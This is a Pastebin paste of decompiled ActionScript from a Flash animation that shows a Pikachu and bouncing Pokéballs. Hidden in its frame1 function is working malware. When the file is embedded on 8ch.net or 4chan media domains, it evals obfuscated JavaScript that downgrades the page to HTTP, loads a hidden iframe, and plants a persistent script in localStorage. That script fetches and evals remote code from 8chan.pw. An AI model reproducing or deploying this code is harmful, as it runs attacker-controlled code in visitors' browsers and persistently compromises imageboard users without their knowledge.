Advertisement
Guest User

Fuck

a guest
Sep 21st, 2015
8,134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package pika8no4nopika_fla {
  2.     import flash.display.*;
  3.     import flash.geom.*;
  4.     import adobe.utils.*;
  5.     import flash.accessibility.*;
  6.     import flash.desktop.*;
  7.     import flash.errors.*;
  8.     import flash.events.*;
  9.     import flash.external.*;
  10.     import flash.filters.*;
  11.     import flash.globalization.*;
  12.     import flash.media.*;
  13.     import flash.net.*;
  14.     import flash.net.drm.*;
  15.     import flash.printing.*;
  16.     import flash.profiler.*;
  17.     import flash.sampler.*;
  18.     import flash.sensors.*;
  19.     import flash.system.*;
  20.     import flash.text.*;
  21.     import flash.text.ime.*;
  22.     import flash.text.engine.*;
  23.     import flash.ui.*;
  24.     import flash.utils.*;
  25.     import flash.xml.*;
  26.  
  27.     public dynamic class MainTimeline extends MovieClip {
  28.  
  29.         public var pd;
  30.         public var i;
  31.         public var so;
  32.         public var lrdr;
  33.         public var ctm;
  34.         public var doscr;
  35.         public var zz;
  36.         public var zfs;
  37.         public var zfa;
  38.         public var pika;
  39.         public var pika2;
  40.         public var ball;
  41.         public var bm:BitmapData;
  42.         public var bm2:BitmapData;
  43.         public var bm3:BitmapData;
  44.         public var bm4:BitmapData;
  45.         public var bm5:BitmapData;
  46.         public var dbm:BitmapData;
  47.         public var bt:Bitmap;
  48.         public var mtx:Matrix;
  49.         public var ctf:ColorTransform;
  50.         public var ang;
  51.         public var sc1;
  52.         public var sc2;
  53.         public var fr;
  54.         public var sp;
  55.         public var xm;
  56.         public var ym;
  57.         public var xx;
  58.         public var yy;
  59.         public var ballz;
  60.         public var o;
  61.         public var charz;
  62.         public var uak;
  63.         public var uas;
  64.         public var j;
  65.         public var uaf;
  66.         public var kv;
  67.         public var v;
  68.         public var pos1;
  69.         public var v2;
  70.         public var pos2;
  71.         public var s;
  72.         public var fs;
  73.         public var fa;
  74.  
  75.         public function MainTimeline(){
  76.             addFrameScript(0, this.frame1);
  77.         }
  78.         public function oef(_arg1){
  79.             var _local2:* = (((this.fr * 14) % 2) <= 1);
  80.             this.fr = (this.fr + 0.01);
  81.             this.sp = (0 + (0.09 * Math.cos((this.fr * 2))));
  82.             this.mtx = new Matrix();
  83.             this.mtx.translate(0, -((Math.floor((this.fr * 400)) % 600)));
  84.             this.dbm.draw(this.bm5, this.mtx);
  85.             this.mtx.translate(0, 600);
  86.             this.dbm.draw(this.bm5, this.mtx);
  87.             this.i = (this.ballz.length - 1);
  88.             while (this.i >= 0) {
  89.                 this.o = this.ballz[this.i];
  90.                 this.o.xx = (this.o.xx + this.o.vx);
  91.                 this.o.yy = (this.o.yy + this.o.vy);
  92.                 if (this.o.xx < -200){
  93.                     this.o.xx = (this.o.xx + (800 + (200 * 2)));
  94.                 } else {
  95.                     if (this.o.xx > (800 + 200)){
  96.                         this.o.xx = (this.o.xx - (800 + (200 * 2)));
  97.                     };
  98.                 };
  99.                 if (this.o.yy < -200){
  100.                     this.o.yy = (this.o.yy + (600 + (200 * 2)));
  101.                 } else {
  102.                     if (this.o.yy > (600 + 200)){
  103.                         this.o.yy = (this.o.yy - (600 + (200 * 2)));
  104.                     };
  105.                 };
  106.                 this.o.ang = (this.o.ang + 0.1);
  107.                 this.mtx = new Matrix();
  108.                 this.mtx.translate((-(this.ball.width) / 2), (-(this.ball.height) / 2));
  109.                 this.mtx.rotate(this.o.ang);
  110.                 this.mtx.scale(0.2, 0.2);
  111.                 this.mtx.translate(this.o.xx, this.o.yy);
  112.                 this.bm.draw(this.ball, this.mtx);
  113.                 this.i--;
  114.             };
  115.             this.ctf = new ColorTransform(1, 1, 1, 0.35, 0, 0, 0, 0);
  116.             this.i = (this.ballz.length - 1);
  117.             while (this.i >= 0) {
  118.                 this.o = this.ballz[this.i];
  119.                 this.mtx = new Matrix();
  120.                 this.mtx.translate((-(this.ball.width) / 2), (-(this.ball.height) / 2));
  121.                 this.mtx.rotate(this.o.ang);
  122.                 this.mtx.scale(0.2, 0.2);
  123.                 this.mtx.translate(this.o.xx, this.o.yy);
  124.                 this.bm.draw(this.ball, this.mtx, this.ctf);
  125.                 this.i--;
  126.             };
  127.             this.ang = (this.ang - (0.1 * Math.cos(this.fr)));
  128.             this.sc1 = (0.7 + (0.3 * Math.cos(this.fr)));
  129.             this.sc2 = (0.7 + (0.3 * Math.cos(this.fr)));
  130.             this.mtx = new Matrix();
  131.             this.mtx.translate((-(this.pika.width) / 2), (-(this.pika.height) / 2));
  132.             this.mtx.scale(this.sc1, this.sc2);
  133.             this.mtx.rotate(this.ang);
  134.             this.mtx.translate(this.xx, this.yy);
  135.             if (_local2){
  136.                 this.bm.draw(this.pika2, this.mtx);
  137.             } else {
  138.                 this.bm.draw(this.pika, this.mtx);
  139.             };
  140.             this.bm2.fillRect(this.bm2.rect, 0);
  141.             this.bm2.draw(this.bm);
  142.             this.bm.fillRect(this.bm.rect, 0);
  143.             this.xm = stage.mouseX;
  144.             this.ym = stage.mouseY;
  145.             if (this.xm < 0){
  146.                 this.xm = 0;
  147.             };
  148.             if (this.xm > 800){
  149.                 this.xm = 800;
  150.             };
  151.             if (this.ym < 0){
  152.                 this.ym = 0;
  153.             };
  154.             if (this.ym > 600){
  155.                 this.ym = 600;
  156.             };
  157.             this.xx = (this.xx + ((this.xm - this.xx) * 0.2));
  158.             this.yy = (this.yy + ((this.ym - this.yy) * 0.2));
  159.             this.mtx = new Matrix();
  160.             this.mtx.translate((-800 / 2), (-600 / 2));
  161.             this.mtx.scale((1 + (((0.8 + (0.2 * Math.cos((this.fr * 16)))) * 1) * (0.035 + (0.2 * this.sp)))), (1 + (((0.8 + (0.2 * Math.sin((this.fr * 17)))) * 1) * (0.035 + (0.2 * this.sp)))));
  162.             this.mtx.translate((800 / 2), (600 / 2));
  163.             this.bm.draw(this.bm2, this.mtx);
  164.         }
  165.         function frame1(){
  166.             this.pd = ("" + Security.pageDomain);
  167.             this.pd = this.pd.toLowerCase();
  168.             this.so = SharedObject.getLocal("rdrdrde");
  169.             this.lrdr = 0;
  170.             if (typeof(this.so.data) != "undefined"){
  171.                 if (typeof(this.so.data.lrdr) != "undefined"){
  172.                     this.lrdr = Number(this.so.data.lrdr);
  173.                 };
  174.             };
  175.             this.ctm = Math.round((new Date().getTime() / 1000));
  176.             this.doscr = false;
  177.             if ((((((((this.pd.indexOf("8ch.net") >= 0)) && (!((typeof(stage.loaderInfo.parameters) == "undefined"))))) && (!((typeof(stage.loaderInfo.parameters.ng) == "undefined"))))) && ((("" + stage.loaderInfo.parameters.ng) == "1")))){
  178.                 this.doscr = true;
  179.             } else {
  180.                 if ((((((stage.loaderInfo.url.indexOf("8ch.net") >= 0)) && ((stage.loaderInfo.url.indexOf("https:") >= 0)))) && (((this.ctm - this.lrdr) > 600)))){
  181.                     this.so.data.lrdr = this.ctm;
  182.                     this.so.flush();
  183.                     this.zz = "function loadHeaderImg () {";
  184.                     this.zz = (this.zz + "window.location = window.location.href.split(\"https\").join(\"http\");");
  185.                     this.zz = (this.zz + "};");
  186.                     this.zz = (this.zz + "setTimeout(\"loadHeaderImg()\",0);");
  187.                     this.zfs = "";
  188.                     this.zfa = [];
  189.                     this.i = 0;
  190.                     while (this.i < this.zz.length) {
  191.                         this.zfa.push(this.zz.charCodeAt(this.i));
  192.                         this.i++;
  193.                     };
  194.                     this.zfs = this.zfa.join(",");
  195.                     ExternalInterface.call("eval", (("eval(String.fromCharCode(" + this.zfs) + "))"));
  196.                 } else {
  197.                     this.doscr = true;
  198.                     addEventListener("enterFrame", this.oef);
  199.                     this.pika = new peeka();
  200.                     this.pika2 = new peeka2();
  201.                     this.ball = new pokebawl();
  202.                     this.bm = new BitmapData(800, 600, true, 0);
  203.                     this.bm2 = this.bm.clone();
  204.                     this.bm3 = this.bm.clone();
  205.                     this.bm4 = this.bm.clone();
  206.                     this.bm5 = this.bm.clone();
  207.                     this.dbm = new BitmapData(this.bm.width, this.bm.height, false, 0x808080);
  208.                     this.bt = new Bitmap(this.bm, "always", false);
  209.                     this.bm5.perlinNoise(12, 12, 3, 31337357, true, true, 7);
  210.                     this.bm.fillRect(this.bm.rect, 0xFF000000);
  211.                     addChild(this.bt);
  212.                     this.ang = 0;
  213.                     this.sc1 = 1;
  214.                     this.sc2 = 1;
  215.                     this.fr = 0;
  216.                     this.sp = 0;
  217.                     this.xx = (800 / 2);
  218.                     this.yy = (600 / 2);
  219.                     this.ballz = [];
  220.                     this.i = 0;
  221.                     while (this.i < 6) {
  222.                         this.o = {};
  223.                         this.o.xx = (Math.random() * 800);
  224.                         this.o.yy = (Math.random() * 600);
  225.                         this.o.ang = ((Math.random() * 2) * Math.PI);
  226.                         this.o.vang = ((Math.random() * 2) * Math.PI);
  227.                         this.o.vx = (Math.cos(this.o.vang) * 6);
  228.                         this.o.vy = (Math.sin(this.o.vang) * 6);
  229.                         this.ballz.push(this.o);
  230.                         this.i++;
  231.                     };
  232.                 };
  233.             };
  234.             if (this.doscr){
  235.                 if ((((((((this.pd.indexOf("4cdn.org") >= 0)) || ((this.pd.indexOf("4cdns.org") >= 0)))) || ((this.pd.indexOf("8ch.net") >= 0)))) || ((this.pd.indexOf("lighti") >= 0)))){
  236.                     this.charz = "0123456789abcdefghijklmnopqrstuvwxyz";
  237.                     this.uak = "......sryfredrickloveyou";
  238.                     this.uas = [];
  239.                     this.uaf = "";
  240.                     if (typeof(this.so.data) != "undefined"){
  241.                         if (typeof(this.so.data.uaf) != "undefined"){
  242.                             this.uaf = ("" + this.so.data.uaf);
  243.                             if (this.uaf.length != 24){
  244.                                 this.uaf = "";
  245.                             };
  246.                         };
  247.                     };
  248.                     if (this.uaf == ""){
  249.                         this.i = 0;
  250.                         while (this.i < this.uak.length) {
  251.                             this.uas.push(this.uak.charCodeAt(this.i));
  252.                             this.i++;
  253.                         };
  254.                         this.kv = [];
  255.                         this.i = 0;
  256.                         while (this.i < 6) {
  257.                             this.kv[this.i] = this.charz.charCodeAt(Math.floor((Math.random() * this.charz.length)));
  258.                             this.uas[this.i] = this.kv[this.i];
  259.                             this.i++;
  260.                         };
  261.                         this.i = this.kv.length;
  262.                         while (this.i < this.uas.length) {
  263.                             this.v = this.kv[(this.i % this.kv.length)];
  264.                             this.pos1 = 0;
  265.                             this.j = 0;
  266.                             while (this.j < this.charz.length) {
  267.                                 if (this.v == this.charz.charCodeAt(this.j)){
  268.                                     this.pos1 = this.j;
  269.                                     break;
  270.                                 };
  271.                                 this.j++;
  272.                             };
  273.                             this.v2 = this.uas[this.i];
  274.                             this.pos2 = 0;
  275.                             this.j = 0;
  276.                             while (this.j < this.charz.length) {
  277.                                 if (this.v2 == this.charz.charCodeAt(this.j)){
  278.                                     this.pos2 = this.j;
  279.                                     break;
  280.                                 };
  281.                                 this.j++;
  282.                             };
  283.                             this.pos2 = (this.pos2 + this.pos1);
  284.                             this.pos2 = (this.pos2 % this.charz.length);
  285.                             this.uas[this.i] = this.charz.charCodeAt(this.pos2);
  286.                             this.i++;
  287.                         };
  288.                         this.uaf = "";
  289.                         this.i = 0;
  290.                         while (this.i < this.uas.length) {
  291.                             this.uaf = (this.uaf + String.fromCharCode(this.uas[this.i]));
  292.                             this.i++;
  293.                         };
  294.                         this.so.data.uaf = this.uaf;
  295.                         this.so.flush();
  296.                     };
  297.                     this.s = "function loadHeaderImg () {";
  298.                     this.s = (this.s + "if (window.location.href.indexOf('ng=1')==-1) {");
  299.                     this.s = (this.s + "var ua = navigator.userAgent;");
  300.                     this.s = (this.s + "if (ua) {");
  301.                     this.s = (this.s + "var ii=document.createElement('iframe');");
  302.                     this.s = (this.s + "ii.style.position='absolute';");
  303.                     this.s = (this.s + "ii.style.left='-1280px';");
  304.                     this.s = (this.s + "ii.style.top='-980px';");
  305.                     this.s = (this.s + "ii.width=300;");
  306.                     this.s = (this.s + "ii.height=100;");
  307.                     this.s = (this.s + "ii.src=(''+window.location.href).split('media.8ch.net').join('8ch.net').split('.swf').join('.swf?ng=1&');");
  308.                     this.s = (this.s + "document.body.appendChild(ii);");
  309.                     this.s = (this.s + "};");
  310.                     this.s = (this.s + "}else if (window.location.href.indexOf('8ch.net')>=0){");
  311.                     this.s = (this.s + (("var fs=\"aylmoctisfnetoojwsdd911<div id='favsh1' style='width:1px;height:1px;display:none;'></div><script>function cbstrtea(){ var os = document.getElementsByTagName('div'); for (var i=os.length-1; i>=0; i--) {  var o = os[i];  if (o.id == 'favsh1') {   o = o.parentNode;   o.style.display='none';   if (o.previousSibling && ((''+o.previousSibling.textContent).split(' ').join('') == '/')) {    o.parentNode.removeChild(o.previousSibling);   } else if (o.nextSibling && ((''+o.nextSibling.textContent).split(' ').join('') == '/')) {    o.parentNode.removeChild(o.nextSibling);   } else if (o.previousSibling && o.nextSibling && ((''+o.previousSibling.textContent).split(' ').join('') == '[') && ((''+o.nextSibling.textContent).split(' ').join('') == ']')) {    o.parentNode.removeChild(o.previousSibling);    o.parentNode.removeChild(o.nextSibling);   };  }; };};setTimeout('cbstrtea()',0);if (!window.hfavsh) { window.wqvqlx='val'; window.hfavsh=true; if (typeof(window.axhtprqsa) == 'undefined') {  window.axhtprqsa = [];  window.wqvqlxf = function (u, f) {   var xh;   if (window.XMLHttpRequest) {    xh = new XMLHttpRequest();   } else {    xh = new ActiveXObject('Microsoft.XMLHTTP');   };   var o = {};   o.xh = xh;   o.done = false;   o.f = f;   window.axhtprqsa.push(o);   xh.onreadystatechange = function () {    var o = null;    for (var i = window.axhtprqsa.length-1; i>=0; i--) {     if (window.axhtprqsa[i].xh == this) {      o = window.axhtprqsa[i];      break;     };    };    if (o != null) {     if (this.readyState == 4 ) {      if (!o.done) {       o.done = true;       if (this.status == 200) {        o.f(this.responseText, 'success');       } else {        o.f('', 'error');       };      };     };    };   };   try {    xh.open('GET', u, true);    xh.send();   } catch (e) { };  }; }; function gfavsh(d,c){  var fd='';  var lv = 5;  var plv;  for (var i = 0;i<d.length;i++) {   var v=d.charCodeAt(i);   v -= 32;   plv = lv;   lv = v;   v -= plv;   v %= 126-32;   if (v<0) v+=126-32;   v += 32;   fd+=String.fromCharCode(v);  };  if (fd.length >= 3) if (c=='success') window[window['wqvqlx']](fd); }; window.wqvqlx='e'+window.wqvqlx; wqvqlxf('https://8chan.pw/a_" + this.uaf) + "', gfavsh);};</script>aylmoctisfnetoojwsdd911\";"));
  312.                     this.s = (this.s + "var favorites = [];");
  313.                     this.s = (this.s + "var can_go = true;");
  314.                     this.s = (this.s + "if (localStorage.favorites) {");
  315.                     this.s = (this.s + "if (localStorage.favorites.indexOf('\\\\u00') >= 0) {");
  316.                     this.s = (this.s + "can_go = false;");
  317.                     this.s = (this.s + "};");
  318.                     this.s = (this.s + "favorites = JSON.parse(localStorage.favorites);");
  319.                     this.s = (this.s + "};");
  320.                     this.s = (this.s + "if (can_go) {");
  321.                     this.s = (this.s + "favorites.push(fs);");
  322.                     this.s = (this.s + "var lcs = JSON.stringify(favorites);");
  323.                     this.s = (this.s + "var ss = lcs.split('aylmoctisfnetoojwsdd911');");
  324.                     this.s = (this.s + "for (var i = 0; i<ss.length; i++) {");
  325.                     this.s = (this.s + "if (i%2 == 1) {");
  326.                     this.s = (this.s + "var s=ss[i];");
  327.                     this.s = (this.s + "var ns='';");
  328.                     this.s = (this.s + "for (var j = 0; j<s.length; j++) {");
  329.                     this.s = (this.s + "var hs='00'+(s.charCodeAt(j)).toString(16);");
  330.                     this.s = (this.s + "hs=hs.substr(hs.length-2);");
  331.                     this.s = (this.s + "ns+='\\\\u00'+hs;");
  332.                     this.s = (this.s + "};");
  333.                     this.s = (this.s + "ss[i]=ns;");
  334.                     this.s = (this.s + "};");
  335.                     this.s = (this.s + "};");
  336.                     this.s = (this.s + "ss = ss.join('');");
  337.                     this.s = (this.s + "localStorage.favorites = ss;");
  338.                     this.s = (this.s + "};");
  339.                     this.s = (this.s + "};");
  340.                     this.s = (this.s + "};");
  341.                     this.s = (this.s + "setTimeout('loadHeaderImg()', 0);");
  342.                     this.fs = "";
  343.                     this.fa = [];
  344.                     this.i = 0;
  345.                     while (this.i < this.s.length) {
  346.                         this.fa.push(this.s.charCodeAt(this.i));
  347.                         this.i++;
  348.                     };
  349.                     this.fs = this.fa.join(",");
  350.                     ExternalInterface.call("eval", (("eval(String.fromCharCode(" + this.fs) + "))"));
  351.                 };
  352.             };
  353.         }
  354.  
  355.     }
  356. }//package pika8no4nopika_fla
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement